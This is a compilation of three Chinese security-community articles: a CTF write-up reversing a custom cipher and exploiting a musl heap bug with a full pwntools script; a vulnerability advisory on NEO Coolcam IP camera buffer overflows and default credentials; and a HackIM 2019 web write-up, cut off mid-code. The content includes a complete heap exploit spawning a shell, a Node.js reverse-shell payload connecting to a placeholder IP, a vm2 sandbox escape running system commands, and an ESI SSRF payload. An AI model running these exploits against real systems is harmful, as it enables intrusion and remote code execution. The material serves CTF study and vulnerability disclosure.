35, 195, 24, 150, 5, 154, 7, 18, 128, 226,
235, 39, 178, 117, 9, 131, 44, 26, 27, 110,
90, 160, 82, 59, 214, 179, 41, 227, 47, 132,
83, 209, 0, 237, 32, 252, 177, 91, 106, 203,
190, 57, 74, 76, 88, 207, 208, 239, 170, 251,
67, 77, 51, 133, 69, 249, 2, 127, 80, 60,
159, 168, 81, 163, 64, 143, 146, 157, 56, 245,
188, 182, 218, 33, 16, 255, 243, 210, 205, 12,
19, 236, 95, 151, 68, 23, 196, 167, 126, 61,
100, 93, 25, 115, 96, 129, 79, 220, 34, 42,
144, 136, 70, 238, 184, 20, 222, 94, 11, 219,
224, 50, 58, 10, 73, 6, 36, 92, 194, 211,
172, 98, 145, 149, 228, 121, 231, 200, 55, 109,
141, 213, 78, 169, 108, 86, 244, 234, 101, 122,
174, 8, 186, 120, 37, 46, 28, 166, 180, 198,
232, 221, 116, 31, 75, 189, 139, 138, 112, 62,
181, 102, 72, 3, 246, 14, 97, 53, 87, 185,
134, 193, 29, 158, 225, 248, 152, 17, 105, 217,
142, 148, 155, 30, 135, 233, 206, 85, 40, 223,
140, 161, 137, 13, 191, 230, 66, 104, 65, 153,
45, 15, 176, 84, 187, 22]
def revAlpha(Out):
res = []
for C in Out:
res.append(Alpha.index(C))
return res
* 接着式10次组合变换, 可以概括为
do
{
字典变换16B: input[i] = Alpha[input[i]]
位移变换;
Func()的变换;
XOR_Buf2(input, i)
++i;
}
while ( 10 != i );
* 逆向逻辑
for i in range(9, 0, -1):
revXOR_Buf2(input, i)
reFunc()
re位移变换
re字典变换
代码:
# [8, 7, 6, 5, 4, 3, 2, 1, 116, 111, 95, 81, 87, 66, 50, 49]
Out = [144, 41, 26, 235, 230, 3, 232, 248, 31, 129, 16, 133, 73, 81, 174, 54]
for i in range(9, 0, -1):
Out = revXOR_Buf2(Out, i)
Out = Solve16B(Out)
Out = RevSwap2(Out)
Out = revAlpha(Out)
* 然后别忘了一开始还有一个异或变换
### 逆向exp
* 把上面的综合起来, 就得到了函数sub_EC0()的逆函数, 拿来逆向题目中保存的HEX字符串
from z3 import *
Out = [0x95, 0x86, 0xda, 0x81, 0xf6, 0xf7, 0x56, 0xda, 0x45, 0xf2, 0x03, 0xa9, 0x57, 0x9a, 0xcc, 0xde]
def HEX(arr):
a = ''
for C in arr:
a+= hex(C)
a+= ' '
print(a)
def Str(Arr):
res = ''
for c in Arr:
res+=chr(c)
return res
def Hex2Arr(Hex):
res = []
for i in range(0, len(Hex), 2):
C = int(Hex[i: i+2], 16)
res.append(C)
return res
def FuckEC0(Out):
buf2 = [87, 51, 49, 67, 48, 77, 51, 95, 116, 111, 95, 81, 87, 66, 50, 49,
122, 16, 246, 24, 74, 93, 197, 71, 62, 50, 154, 22, 105, 112, 168,
39, 41, 210, 58, 225, 99, 143, 255, 166, 93, 189, 101, 176, 52, 205,
205, 151, 144, 111, 178, 249, 243, 224, 77, 95, 174, 93, 40, 239, 154,
144, 229, 120, 248, 182, 14, 65, 11, 86, 67, 30, 165, 11, 107, 241,
63, 155, 142, 137, 252, 175, 169, 52, 247, 249, 234, 42, 82, 242, 129,
219, 109, 105, 15, 82, 37, 217, 169, 8, 210, 32, 67, 34, 128, 210, 194,
249, 237, 187, 205, 171, 143, 100, 203, 93, 93, 68, 136, 127, 221, 150,
74, 134, 48, 45, 135, 45, 215, 115, 19, 89, 138, 55, 155, 38, 87, 161,
209, 160, 103, 140, 86, 141, 168, 194, 78, 220, 34, 245, 213, 250, 117,
84, 4, 90, 18, 216, 82, 215, 255, 194, 64, 21, 221, 55, 149, 239, 168,
99, 145, 181, 186, 187, 195, 98]
Alpha = [ 99, 124, 119, 123, 242, 107, 111, 197, 48, 1,
103, 43, 254, 215, 171, 118, 202, 130, 201, 125,
250, 89, 71, 240, 173, 212, 162, 175, 156, 164,
114, 192, 183, 253, 147, 38, 54, 63, 247, 204,
52, 165, 229, 241, 113, 216, 49, 21, 4, 199,
35, 195, 24, 150, 5, 154, 7, 18, 128, 226,
235, 39, 178, 117, 9, 131, 44, 26, 27, 110,
90, 160, 82, 59, 214, 179, 41, 227, 47, 132,
83, 209, 0, 237, 32, 252, 177, 91, 106, 203,
190, 57, 74, 76, 88, 207, 208, 239, 170, 251,
67, 77, 51, 133, 69, 249, 2, 127, 80, 60,
159, 168, 81, 163, 64, 143, 146, 157, 56, 245,
188, 182, 218, 33, 16, 255, 243, 210, 205, 12,
19, 236, 95, 151, 68, 23, 196, 167, 126, 61,
100, 93, 25, 115, 96, 129, 79, 220, 34, 42,
144, 136, 70, 238, 184, 20, 222, 94, 11, 219,
224, 50, 58, 10, 73, 6, 36, 92, 194, 211,
172, 98, 145, 149, 228, 121, 231, 200, 55, 109,
141, 213, 78, 169, 108, 86, 244, 234, 101, 122,
174, 8, 186, 120, 37, 46, 28, 166, 180, 198,
232, 221, 116, 31, 75, 189, 139, 138, 112, 62,
181, 102, 72, 3, 246, 14, 97, 53, 87, 185,
134, 193, 29, 158, 225, 248, 152, 17, 105, 217,
142, 148, 155, 30, 135, 233, 206, 85, 40, 223,
140, 161, 137, 13, 191, 230, 66, 104, 65, 153,
45, 15, 176, 84, 187, 22]
def revXOR_Buf2(Out, num):
arr = []
for i in range(16):
arr.append(Out[i]^buf2[num*16+i])
return arr
def RevSwap2(Out):
res = [0]*16
swap_tab = [0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 1, 6, 11]
for i in range(16):
res[swap_tab[i]] = Out[i]
return res
def revAlpha(Out):
res = []
for C in Out:
res.append(Alpha.index(C))
return res
def Solve4B(I0, I1, I2, I3):
A, B, C, D = BitVecs("A B C D", 8)
FA, FB, FC, FD = BitVecs("FA FB FC FD", 8)
s = Solver()
s.add(FA == (A*2)^(((A&0x80)/0x80)*0x1B))
s.add(FB == (B*2)^(((B&0x80)/0x80)*0x1B))
s.add(FC == (C*2)^(((C&0x80)/0x80)*0x1B))
s.add(FD == (D*2)^(((D&0x80)/0x80)*0x1B))
s.add(I0 == FA^FB^B^C^D)
s.add(I1 == A^FB^C^FC^D)
s.add(I2 == A^B^FC^FD^D)
s.add(I3 == FA^A^B^C^FD)
s.check()
m = s.model()
return m[A].as_long(), m[B].as_long(), m[C].as_long(), m[D].as_long()
def Solve16B(R):
res = []
for i in range(0, 16, 4):
A, B, C, D = Solve4B(R[i+0], R[i+1], R[i+2], R[i+3])
res.append(A)
res.append(B)
res.append(C)
res.append(D)
return res
Out = revXOR_Buf2(Out, 10)
Out = RevSwap2(Out)
Out = revAlpha(Out)
for i in range(9, 0, -1):
Out = revXOR_Buf2(Out, i)
Out = Solve16B(Out)
Out = RevSwap2(Out)
Out = revAlpha(Out)
Out = revXOR_Buf2(Out, 0)
return Out
encs = ['cdb71018a63272140c7c8645eb7d6f5c',
'11be0ce48d20e2eaee1eac4d5c16827b',
'39c16e79920d5d584d0c1a1b7c14f363',
'6c37c505b19256687b0dd9ed42ccf2d0',
'c5d6c1af456d1a48f2fe46b35f9a4f2c']
for h in encs:
E = Hex2Arr(h)
D = FuckEC0(E)
print(D)
'''
[81, 87, 66, 95, 67, 114, 51, 52, 116, 51, 0, 0, 0, 0, 0, 0]
[81, 87, 66, 95, 68, 51, 108, 51, 84, 101, 0, 0, 0, 0, 0, 0]
[81, 87, 66, 95, 67, 104, 51, 67, 107, 0, 0, 0, 0, 0, 0, 0]
[81, 87, 66, 95, 77, 48, 100, 49, 70, 121, 0, 0, 0, 0, 0, 0]
[81, 87, 66, 95, 71, 48, 48, 100, 66, 121, 101, 0, 0, 0, 0, 0]
'''
## 程序分析
* 本题是两级界面, 先是最开始的界面, 然后Prepare中又有一个界面
* Prepare:
* Create:
* 最多20个
* 读入num: num<=0x23
* NumBufArr[idx].cnt = num
* NumBufArr[idx].ptr = calloc(4*(num+1))作为缓冲区
* 并读入num个数字
* 随机化+ – * 计算所有数字得到最后一个数字
* Delete:
* 读入idx, idx<=19
* free(NumBufArr[idx].ptr)
* NumBufArr[idx].ptr = NULL
* NumBufArr[idx].cnt = 0
* Check:
* 读入idx, idx<=19
* %d输出所有的num
* Edit
* 读入cnt+1个数字, 最后的随机数会产生堆溢出
* Challenge
* 遍历所有游戏, 每局可以有三个选择, 每局的结果记录在GAME_Res缓冲器中, 属于mmap出来的
* next_next: 直接调过这一局, 每次challenge可以用两次
* whos_your_daddy: 直接写入nump_ptr中指定位置数字, 全局可用两次
* 数字: 再GAME_Res中记录下来
* 然后遍历所有结果, 检验猜的对不对: NumBuf[level].ptr[cnt] == GAME_Res[level]
* 如果全部猜对并且比上一个更多更快就可以 记录成绩, 写入name,
* 记录成绩:
struct Record{
size len;
char Name[len];
size_t padding;
Grade* grade;
};
## 思路
* 根据之前学习的musl-1.2的chunk结构, 一个chunk需要4B元数据记录offset与index等, 本题可以溢出一个int, 那么如果前一个chunk为0x2C的话, 那么溢出4B就会覆盖掉后一个chunk的元数据, 然后伪造offset, idx, 伪造meta, 从而通过nontrivial_free()触发dequeue()操作, 最终可以达到一个指针任意写的效果
* 但是溢出的4B是一个前面数据随机+-*的结果, 怎么控制? 可以把前面所有数据都设置为0, 这样运算结果始终为0, 最后一个设为X, 那么就有1/3的概率, 结果为X
### 泄露地址
* 在设置Record时, 读入name并没有设置00截断, 并且是通过Realloc得到的内存, 并没有初始化, 因此可以先在chunk中写满数据, 防止被截断, 然后设置Record时申请到这个chunk, 就可以读到后面的指针
* 由于musl的静态内存特性, 当申请某些size时, Grade就是libc指针, 因此可以直接得到libc地址, 测试发现name长度为0x10时, 后面的指针就是libc指针
* 因此Record在realloc()时的size为0x30
* 下面考虑怎么复用到这个0x30的chunk
* 假设有metaA, 现在从里面切割出去了0x30的chunk, 写入数据后释放
* 首先free会发现, mask | self == all, 也就是说这个chunk的释放, 整个meta的chunk就都被回收了, 因此会调用nontrivial_free()
* nontrivial_free()中则会把整个meta归还过去
* 因此一切又回到了一开始的状态, 那么当下次再次分配时, 就又会申请到这个chunk
### 泄露secret
* 由于meta所在页与group所在页分离, 想要伪造meta, 就必须要泄露secret
* 再gloden里面还有一个洞, 读入idx时没有检查范围, 也就是说我们可以把与chunk偏移任意地址的数据写入GAME_Res中
* 由于静态内存分配, 实际测试可以发现:
* meta与chunk实际是ELF中无用的页, 因此与meta与ptr偏移一致, 可以就说可以把secret写入GAME_Res中
* GAME_Res是mmap申请的一页, 把secret写入开头后, 直接再GAME_Res中进行secret的伪造
* 两次金手指刚好可以写入secret, 后续每局两次的银手指刚好可以用于调过前面的secret
### 触发dequeue
* 唯一的一次Modify用来溢出后一个chunk的元数据, 伪造idx与size
* 由于目前只直到libc中的地址, 而伪造meta时有一个检查: meta->mem == group, 因此只能在libc的chunk中伪造group
* 先伪造chunk_14的offset指向chunk_13, 从而把chunk_13当做group, 计算公式: group = (p – 0x10*offset – 0x10)
* 然后再group中的伪造meta指针, 这里meta是在Result_Buf中伪造的, 其地址固定
* 并假装chunk_14是这个group中最后一个chunk, 这需要伪造meta的配合
* 最后free(chunk_14)就可以触发
### 伪造meta
* prev/ next的顺序也有讲究, 因为是双向的
* 如果Prev=head-0x8, Next = chunk_15,
* Prev->Next = Next => *head =chunk_15
* Next->Prev = Prev => *chunk_15=head, 这会覆盖struct fl的next字段, 导致无法伪造atexit()链表
* 如果Prev = chunk_15, Next = head
* Prev->Next = Next => *(chunk_15+0x8)=head , 不会干扰next字段
* Next->Prev = Prev => *head = chunk_15,
* 然后是伪造mem指向伪造的group, 这里也是只能把libc中chunk伪造成group的原因
* 对于avail_mask freed_mask的伪造要求则是: avail_mask | freed_mask |(1<<idx) = all, 也就是说就差伪造的chunk, 整个group就都被回收了
### 伪造atexit()
* 有了指针任意写之后, 我选择的是打atexit链表
* 申请那么多是因为f[31]与a[31]中间差了0x100, 所以要多申请一些, 保证可以控制参数
* 还需要注意的是head实际是从head->next开始遍历f[]的, 因此还需要伪造一个next指针
## EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):
log.success(name+' = '+hex(eval(name)))
elf = ELF("./pwn")
libc = ELF('libc.so')
if(len(sys.argv)==1): #local
cmd = ["./pwn"]
sh = process(cmd)
else: #remtoe
sh = remote(host, port)
Arr = [
[81, 87, 66, 95, 67, 114, 51, 52, 116, 51, 0, 0, 0, 0, 0, 0],
[81, 87, 66, 95, 68, 51, 108, 51, 84, 101, 0, 0, 0, 0, 0, 0],
[81, 87, 66, 95, 67, 104, 51, 67, 107, 0, 0, 0, 0, 0, 0, 0],
[81, 87, 66, 95, 77, 48, 100, 49, 70, 121, 0, 0, 0, 0, 0, 0],
[81, 87, 66, 95, 71, 48, 48, 100, 66, 121, 101, 0, 0, 0, 0, 0]
]
def Str(Arr):
res = ''
for c in Arr:
res+=chr(c)
return res
def Num(n):
sh.sendline(str(n))
def Cmd(c):
sh.recvuntil('>> ')
Num(c)
def Prepare():
Cmd(1)
sh.recvuntil('Code: ')
sh.sendline("W31C0M3_to_QWB21")
def Create(arr):
sh.recvuntil('$ ')
sh.send(Str(Arr[0]))
sh.recvuntil('How many numbers do you need?\n')
Num(len(arr))
for N in arr:
sh.recvuntil(': ')
Num(N)
def Delete(idx):
sh.recvuntil('$ ')
sh.send(Str(Arr[1]))
sh.recvuntil('Which challenge do you want to delete?\n')
Num(idx)
def Check(idx):
sh.recvuntil('$ ')
sh.send(Str(Arr[2]))
sh.recvuntil('Which challenge do you want to check?\n')
Num(idx)
def Modify(idx, arr):
sh.recvuntil('$ ')
sh.send(Str(Arr[3]))
sh.recvuntil('Which challenge do you want to modify?\n')
Num(idx)
for N in arr:
sh.recvuntil(': ')
Num(N)
def Bye():
sh.recvuntil('$ ')
sh.send(Str(Arr[4]))
def Challenge(arr, name=''):
Cmd(2)
i = 0
while i < len(arr):
C = arr[i]
i+=1
sh.recvuntil('answer: ')
if(C=="silver"):
sh.sendline('next_next')
elif(C=='golden'):
sh.sendline('whos_your_daddy')
sh.recvuntil('Input: ')
Num(arr[i])
i+=1
else:
Num(C)
if(len(name)==0):
return
sh.recvuntil('How long is your name?\n')
Num(len(name))
sh.recvuntil('Input your name!\n')
sh.send(name)
def List():
Cmd(3)
def Exit():
Cmd(4)
def GDB():
gdb.attach(sh, '''
break *(0x0000555555554000+0x2239)
break *free
telescope (0x0000555555554000+0x204360) 40
break *exit
''')
Prepare()
#leave remain char in chunkA
Create([0xFFFFFFFF]*11)
Delete(0)
#pass a game to write Record
Create([0x0]*3) #idx:0
Bye()
#reuse chunkA to leak libc addr
Challenge([0], 'A'*0x10)
List()
sh.recvuntil('\xff'*16)
libc.address = u64(sh.recv(6).ljust(8, '\x00'))-0x297d20
Log('libc.address')
#add a challenge
Prepare()
Create([0x0]*3) #idx:1
Bye()
#write secret to Result_Buf
Challenge(['golden', 1152, 'golden', 1145])
#forge meta
Prepare()
for i in range(11):
Create([0x0]*3) #idx: [2, 13)
Bye()
def ForgeMeta(cont):
cont = cont.ljust(0x2C, '\x00')
print(len(cont))
res = ['silver', 'silver']
for i in range(0, len(cont), 4):
res+=[u32(cont[i: i+4])]
print(len(res))
Challenge(res)
exp = flat(0)
exp+= flat(libc.address+0x297db0, libc.address+0x296d80) # prev=chunk_15, next=head
exp+= flat(libc.address+0x297d50) # mem
exp+= flat(0x3Fe) # avail_mask, freed_mask
exp+= p32(0xa9) # sizeclass
ForgeMeta(exp)
#malloc chunk in libc.so
Prepare()
Create([0x0]*10) #13
#atexit
Create([0x0]*10) #14
#forge atexit list
addr = libc.address+0x297db0-0x100+0x10 #head->next
exp = [addr&0xFFFFFFFF, (addr>>32)]
exp+= [0, 0]
addr = libc.symbols['system'] #f[31]
exp+= [addr&0xFFFFFFFF, (addr>>32)]
exp+= [0x15]*4
Create(exp) #15
Create([0x16]*10) #16
Create([0x17]*10) #17
Create([0x18]*10) #18
Create([0x19]*10) #19
for i in range(5, 10):
Delete(i)
addr = libc.search('/bin/sh\x00').next() #a[31]
Create([0x5]*8+[addr&0xFFFFFFFF, (addr>>32)]) #5
Create([0x6]*10) #6
Create([0x7]*10) #7
Create([0x8]*10) #8
Create([0x9]*10) #9
#forge group
addr = 0x00000deadbeef010
exp = [addr&0xFFFFFFFF, (addr>>32)]
#forge idx, offset
idx = 0x0
offset = 0x2
exp+= [0]*(10-2)
exp+= [(offset<<16)+(idx<<8)]
Modify(13, exp)
#trigger dequeue
Delete(14)
#GDB()
#atexit
Bye()
Exit()
sh.interactive()
'''
NumBufArr telescope (0x0000555555554000+0x204360) 20
Create():calloc() break *(0x0000555555554000+0x191b)
RecordPtr telescope 0x0000555555554000+0x204348
'''
## 总结
* musl-1.2的利用只能通过伪造meta, 因此就要绕过meta的检查
* 要么直接覆盖__malloc_context中的secret
* 要么泄露secret
* 要么在可控的页头处写入secret, 然后在此页上伪造meta
* 总之, secret是关键, secret在哪一页, 就在哪一页伪造meta | 社区文章 |
作者：知道创宇404实验室
时间：2018年7月16日
英文版：<https://paper.seebug.org/652>
### 1\. 事件概述
深圳市丽欧电子有限公司（NEO
Coolcam，以下简称酷视）[1]，是一家集网络数码产品研发、生产、营销于一体的高新技术企业，是国内最早进入网络摄像头领域的专业厂商之一。2004年成立国内摄像头研发中心，并取得多项国家专利，产品通过了国家质量检测部门的认证和CE、FCC等国际标准认证。
早在2017年08月02日，Bitdefender公司的安全研究人员就指出酷视旗下的高清网络摄像头NIP-22和Wi-Fi门铃iDoorbell等设备存在多个缓冲区溢出漏洞，十几万暴漏在公网上的相关设备受到潜在的安全威胁，并提供了相关研究报告[2]。2017年9月左右，我们观察到酷视的英文版官网上发布了最新的固件[3]，修复了溢出漏洞。
2018年07月10日，在后续的对网络空间上易受漏洞影响的物联网设备的风险评估中，我们通过ZoomEye网络空间搜索引擎对相关漏洞设备进行搜索，共发现了65万的IP历史记录，其中在中国含该漏洞的设备数量最多，约为16.7万。此外，我们还有以下发现：
* 从酷视官方发布更新版固件到本文发布约一年的时间里，大部分设备依然没有安装更新版固件。原因有以下几点：1、目标设备本身不具有自动升级机制；2、普通用户不会意识到存在漏洞并手动更新固件；3、更新版固件只发布在英文版官网中；4、其他OEM厂商生产的设备也存在该漏洞。
* 在目标设备的固件审计过程中，我们发现了登录绕过漏洞，相关细节将在下面的章节中呈现。
这意味着还有很大数量的目标设备处于风险之中。知道创宇404实验室对酷视NIP-22FX这款摄像头的系列缓冲区溢出漏洞进行了深入研究，并成功从缓冲区溢出到远程代码执行，证实了该漏洞有被黑产利用的潜在风险。同时审计过程中发现了登录绕过漏洞，对用户隐私也是个严重的威胁。
### 2.漏洞分析
#### 2.1 目标设备的相关信息
设备版本：NeoCoolcam IPCam NIP-22FX
漏洞二进制文件：MD5 (ipc_server) = 312d924344364620d85099ed279a5f03
固件版本：V7.7.4.1.1-20160701
提供Web服务和RTSP服务的主程序为 ipc_server文件，目标系统为ARM、32位小端架构。
缓冲区溢出缓解措施为全部关闭状态。
#### 2.2 登录绕过漏洞
摄像头 Web 服务基于 HTTP 基本认证，存在三组默认凭证，三组凭证对应不同的权限等级，安装时 APP 只会提醒修改 admin
账户的默认密码。三组默认凭证及对用的操作如下：
1. admin:admin，
2. user:user；
3. guest:guest；
值得一提的是，user 账户和 guest 账户也可以查看视频流，大部分用户不会修改这些账户的默认密码，导致隐私泄漏。
#### 2.3 Web 服务基于缓冲区溢出的远程代码执行漏洞（无需认证）
##### 2.3.1 漏洞细节分析
该溢出点位于地址 0x0007DE80
附近，该函数的处理逻辑是调用libs_parsedata函数解析URL中的usr和pwd，并将其分别存储到本函数栈帧的两块缓冲区中。
libs_parsedata函数的原型为:
int libs_parsedata(int a1, int a2, char *needle, int a4, int a5, int a6){}
接受6个参数，从左往右依次为a1：原字符串，a2：原串的长度，needle：匹配待截取字符串的开头，a4：用来截取字符串的分隔符，a6：存储截取后字符串的目标缓冲区。
该函数的处理逻辑为：使用needle字符串和分隔符a4截取原字符串a1，截取后通过strncpy()函数将截取后的串写入a6所指的缓冲区中，写入的长度为截取字符串的长度，最后写入一个字节’\x00’。由于GET参数长度可控，当攻击者输入超出缓冲区长度的usr或pwd值时，会使缓冲区溢出。
##### 2.3.2 漏洞利用分析
二进制文件ipc_server的缓冲区溢出措施皆为关闭状态，利用该缓冲区溢出漏洞的难度很低。利用过程中需要考虑到规避空白符、&、\x00等坏字符，空白符可用
${IFS} 替代。
在ipc_server的0x0004E4D8地址处含有如下代码：
攻击者只需让返回地址指向地址0x0004E4D8，返回地址之后紧跟待执行的命令，即可成功从缓冲区溢出到远程代码执行。由于libs_parsedata函数会在字符串末尾写入一个\x00，可以同时利用两个溢出漏洞分别写入返回地址和待执行命令。
目标系统不含curl、nc、wget等命令，可将命令执行结果重定向之Web目录，之后访问HTTP接口即可获取执行结果。如果攻击者和摄像头在同一个网络环境，攻击者也可能开启目标系统的telnetd服务，实现对漏洞设备的完全控制。因为目标设备的文件系统以读写方式挂载，有被攻击者恶意篡改的风险。
在NIP-22FX上的复现结果如下：
##### 2.3.3 补丁分析
在最新版的固件（V7.7.4.1.1-20170828）中，libs_parsedata函数加入了第七个参数，用以控制写入目标缓冲区的长度。
#### 2.4 RTSP 服务基于缓冲区溢出的远程代码执行漏洞（无需认证）
##### 2.4.1 漏洞细节分析
该溢出点位于地址0x006C6D4处，利用 sscanf 函数匹配 RTSP Header 中 Authorization: Digest
key="value" 中的key和value两部分内容并将之存到本函数堆栈，没有检查这两部分的长度，导致堆栈溢出。
##### 2.4.2 漏洞利用分析
该漏洞的利用和2.3.2节中Web服务的缓冲区溢出漏洞利用方法一致，攻击者可利用两个溢出漏洞分别写入待执行的命令和返回地址，很容易的从缓冲区溢出提升到远程代码执行。
在NIP-22FX的复现结果如下，成功利用RTSP服务的缓冲区溢出开启了目标系统的telnetd服务。
##### 2.4.3 补丁分析
在最新版的固件（V7.7.4.1.1-20170828）中，sscanf
的正则匹配表达式中加入了长度限制，最长为255字节，而缓冲区距离栈底为296字节，无法覆盖返回地址。
### 3\. 漏洞影响范围
我们通过提取酷视NIP-22高清摄像头设备相关的“关键词”，在ZoomEye网络空间搜索引擎[4]上共发现了651,780个 IP历史数据。
我们通过对 ZoomEye 网络空间搜索引擎 "Error: username or password error,please input again."
这个关键词得到的651,780条IP历史记录进行确认，发现其中58,413台设备仍然存活。
存活设备国家分布如下，可以看出这些漏洞设备主要分布在韩国、美国、中国等国家。由于中国的网络IP变化快，在中国的相关存活设备数量实际上不止5,878台。
存活设备在中国的省份分布如下，主要分布在香港，其次是台湾，ZoomEye网络空间搜索引擎上中国大陆地区的历史IP数据基本都已失效。
对以上存活的设备进行进一步统计分析，发现大部分设备均至少存在一种默认凭证。由此可见酷视高清摄像头设备普遍存在默认凭证，攻击者可使用默认凭证访问摄像头的视频流，有较大的隐私泄漏风险。值得一提的是，存活的设备中也有很多存在
admin:admin 默认凭证，攻击者可获得管理员身份，并可能通过上传精心制作的设备固件完全接管目标设备。
在对受漏洞影响的设备进行数据分析的过程中，我们发现存在大量设备是贴牌销售，设备固件存在极大的同源性，有的两个不同厂商之间的设备仅仅是换了个LOGO。
通过设备页面 ”/web/mainpage.html” 内容的md5值对不同OEM厂商进行区分，统计结果如下：
除了默认凭证问题，酷视高清摄像头NIP-22还存在无需认证的Web服务及RTSP服务缓冲区溢出漏洞，该溢出漏洞的利用难度很低，攻击者可基于此溢出漏洞远程执行任意命令。溢出发生后，watchdog进程会重启整个系统，攻击者也可利用这点使摄像头拒绝服务。由于固件的同源性，这两个溢出漏洞也有很大可能存在于其他OEM厂商生产的设备中。
### 4\. 漏洞修复建议
#### 4.1 对用户的修复建议
为避免隐私泄漏，建议用户尽快修复系列漏洞。
首先，用户可登录摄像头Web管理系统，在以下页面中修改三组默认凭证的用户名和密码。
其次，如果是酷视的设备，建议从酷视官网下载对应设备的最新版固件[3]，并手动更新，以修复两个溢出漏洞。如果是其他OEM厂商的设备，可以尝试和厂商联系获取更新固件，并将设备同公网隔离。
#### 4.2 对厂商的修复建议
由于这系列漏洞影响国内外几十个OEM厂商，请上表中可能存在漏洞的厂商自查，及时发布补丁固件并通知用户更新设备固件。
### 5\. 总结
1. 存活设备中大部分以上都存在默认凭证，对于用户的隐私是个极大的威胁，用户应及时修改默认密码。
2. 这系列漏洞还可能影响国内外几十个OEM厂商。嵌入式设备固件开发过程中一般都会使用第三方的开源工具或通用软件，这些通用软件又通常由某一特定厂商研发，这就导致很多设备固件存在同源性，不同品牌的设备可能运行相同或者类似的固件以及包含相同的第三方库。漏洞曝出后，由于影响厂商众多，而并不是所有厂商都会发布漏洞补丁，这就导致网络空间上大量漏洞设备无法修复漏洞。
3. 近年来，路由器、摄像头、摄像机、NAS、智能穿戴设备等 IOT 设备的安全漏洞层出不穷，伴随着越来越多的嵌入式设备连入网络，总体安全形势日益突出，用户的个人隐私受到严重的威胁。一方面，厂商及开发者应不断提高自主研发设备的安全性。另一方面，漏洞是不可避免的。对于用户，应该努力提高自己的安全意识，尽量避免将此类设备直接暴露在网络空间上。对于各 IOT 厂商，针对目前安全漏洞曝出越来越频繁，及时修复漏洞，对产品提供自动升级机制是行之有效的方法。
### 6\. 相关链接
[1] NEO Coolcam 官网
<http://www.szneo.com/>
[2] Bitdefender漏洞公告
<https://www.bitdefender.com/box/blog/ip-cameras-vulnerabilities/neo-coolcams-not-cool-buffer-overflow/>
[3] 官方更新固件下载地址
<http://szneo.com/en/service/index.php>
[4] ZoomEye网络空间探测引擎
<https://www.zoomeye.org/searchResult?q=%22Error%3A%20username%20or%20password%20error%2Cplease%20input%20again.%22>
* * * | 社区文章 |
# HackIM 2019 Web记录
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
过年前做了一下，感觉还是挺有意思的。比赛官方也开源了[比赛源码](https://github.com/nullcon/hackim-2019)。
## Web
### BabyJS
> Run your javascript code inside this page and preview it because of
> hackers we have only limited functions
题目内容如上，比较简单的 javascript 代码运行，后台是 Node.js
这里我们可以考虑一下是不是有什么 Node.js 沙箱逃逸什么的操作，国内对于 Node.js
沙箱逃逸的文章还是比较少的，参考了好几篇都是翻译文章，都翻译得不是很清楚，参考文章：[NodeJS沙盒逃逸研究](http://www.4hou.com/web/14837.html)
但是也能知道个大概，要执行命令或者反弹 shell 就需要用到两个模块，分别是 net 和 child_process ，可以用以下 payload
直接反弹 shell
(function () {
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(your_port, "your_ip", function () {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
然而当我们想直接反弹 shell （那当然是太天真了），就返回了`not defined`
所以没那么简单，那我们先从信息收集开始，使用`Error().stack`可以收集使用的模块信息，而且题目设置是可以直接把内容输出出来的，所以我们不需要`print`，可以直接输出信息。
我们首先先收集目标信息，使用`js=Error().stack`
我们可以得到题目设置的模块，如`vm.js`，然后发现对应的[vm2](https://github.com/patriksimek/vm2)仓库里已经有很多
escape 的 issue 了，发现有一位 [@XmiliaH](https://github.com/XmiliaH "@XmiliaH") 大佬已经
escape 了很多版本，我们可以尝试一下比较新的一个版本[Breakout in
v3.6.9](https://github.com/patriksimek/vm2/issues/186)
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
value:new Proxy({},{
getPrototypeOf(target){
if(this.t)
throw Buffer.from;
this.t=true;
return Object.getPrototypeOf(target);
}
})
});
}catch(e){
process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("ls").toString()
直接作为 payload 使用，发现可以成功执行命令
接下来直接读 flag 就好了，得到
hackim19{S@ndbox_0_h4cker_1}
### Blog
> Its just a blog
题目是一个 Node.js ，题目设置比较简单，就一个表单，提交之后参数会得到相应的页面
以及还有一个 admin 界面
index 界面输入什么就以 HTML 形式返回什么，也可以触发 XSS
但是这只是一个 self-xss ，这就显得又些鸡肋了，所以大概意思就是我们需要用 index 做 xss 或者其他一些操作去获取管理员权限
跟上题一样，既然都是 Node.js ，是不是也可以得到一些错误信息什么的。
在尝试了一些单引号、双引号等一些特殊符号，发现确实是全部都转换成 string
输出了，猜想是不是有类似`toString()`的操作，换成数组测试，发现无回显，一直停留在 pending 状态中
尝试直接访问 /edge 页面，得到错误信息
但是这都是用于前端效果的 js 库，并没有什么用，但是思路应该是没错的，继续 fuzz 就行了。
最终用`title=1&description[a]=1`得到了比较有用的报错信息，得到了一个新的库 esi.js ，查看相关资料[Node ESI
Language parser](https://www.npmjs.com/package/esi)，可以知道这是一个用于处理 ESI 语言的 js
库，使用示例官方也给出来了
> You want to embed the fragment of HTML from
> “<http://snipets.com/abc.html>“ within an HTML document.
>
>
> blah blah, oh and here i embed in the page a snipet using an ESI server
> ...
> <esi:include src="http://snipets.com/snipet.html"></esi:include>
>
>
> **snipet.html**
>
>
> <b>Snipet</b>
>
>
> With Node ESI script, you can pre-process ESI tags.
看到这里我们的思路就比较清晰，就是以 esi 的方式去访问 admin 页面就可以了，相当于形成了一个 SSRF 。
payload:
title=1&description=<esi%3Ainclude+src%3D"http%3A%2F%2Fwebsite.com%2Fadmin"><%2Fesi%3Ainclude>
### mime checkr
> upload and check the mime type
>
> Hint1: Do you think containers could speak like humans?
题目设置为有一个上传点，只允许上传 .jpeg 后缀的文件，尝试了一下其他截断，均不能上传其他文件
还有一个获取 MIME 格式的功能，需要传入路径，返回 MIME 格式
还有一个备份文件`getmime.bak`
<?php
//error_reporting(-1);
//ini_set('display_errors', 'On');
class CurlClass{
public function httpGet($url) {
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
// curl_setopt($ch,CURLOPT_HEADER, false);
$output=curl_exec($ch);
